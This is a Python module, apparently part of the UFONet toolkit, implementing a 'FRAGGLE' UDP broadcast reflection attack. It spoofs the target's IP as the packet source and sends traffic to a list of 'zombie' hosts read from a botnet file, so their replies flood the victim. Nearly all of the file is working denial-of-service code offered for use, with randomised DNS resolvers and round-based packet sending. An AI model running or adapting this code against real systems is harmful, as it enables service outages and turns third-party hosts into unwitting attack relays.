fraggle.py 4.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. import urllib.parse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. # UFONet UDP broadcast attack (FRAGGLE)
  21. def randInt():
  22. x = random.randint(1,65535) # TCP ports
  23. return x
  24. def sIP(base_stations): # extract 'base stations'
  25. bs = {}
  26. s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
  27. if not s_zombie in bs:
  28. url = urllib.parse.urlparse(s_zombie)
  29. try:
  30. s_zombie_ip = socket.gethostbyname(url.netloc)
  31. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  32. except:
  33. try:
  34. import dns.resolver
  35. r = dns.resolver.Resolver()
  36. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  37. a = r.resolve(url.netloc, "A") # A record
  38. for rd in a:
  39. s_zombie_ip = str(rd)
  40. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  41. except:
  42. s_zombie_ip = s_zombie
  43. else:
  44. s_zombie_ip = bs.get(s_zombie)
  45. return s_zombie_ip
  46. def fraggleize(ip, sport, rounds):
  47. f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
  48. base_stations = f.readlines()
  49. base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
  50. f.close()
  51. n=0
  52. try:
  53. for x in range (0,int(rounds)):
  54. n=n+1
  55. s_zombie_ip = sIP(base_stations)
  56. if s_zombie_ip == None: # not any 'base stations' available
  57. print("[Error] [AI] [FRAGGLE] Imposible to retrieve 'base stations' -> [Aborting!]\n")
  58. break
  59. seq = randInt()
  60. window = randInt()
  61. IP_p = IP()
  62. try:
  63. IP_p.src = ip # UDP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka FRAGGLE attack)
  64. except:
  65. print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from target! -> [Aborting!]\n")
  66. break
  67. try:
  68. IP_p.dst = s_zombie_ip
  69. except:
  70. print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
  71. break
  72. try:
  73. send(IP_p/UDP(), verbose=0)
  74. print("[Info] [AI] [FRAGGLE] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
  75. time.sleep(1) # sleep time required for balanced sucess
  76. except:
  77. print("[Error] [AI] [FRAGGLE] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]")
  78. except:
  79. print("[Error] [AI] [FRAGGLE] Failing to engage... -> Is still target online? -> [Checking!]")
  80. class FRAGGLE(object):
  81. def attacking(self, target, rounds):
  82. print("[Info] [AI] UDP Broadcast (FRAGGLE) is redirecting: [" , rounds, "base stations ]")
  83. if target.startswith('http://'):
  84. target = target.replace('http://','')
  85. sport = 80
  86. elif target.startswith('https://'):
  87. target = target.replace('https://','')
  88. sport = 443
  89. try:
  90. ip = socket.gethostbyname(target)
  91. except:
  92. try:
  93. import dns.resolver
  94. r = dns.resolver.Resolver()
  95. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  96. url = urlparse(target)
  97. a = r.resolve(url.netloc, "A") # A record
  98. for rd in a:
  99. ip = str(rd)
  100. except:
  101. ip = target
  102. if ip == "127.0.0.1" or ip == "localhost":
  103. print("[Info] [AI] [FRAGGLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  104. return
  105. fraggleize(ip, sport, rounds) # attack with FRAGGLE using threading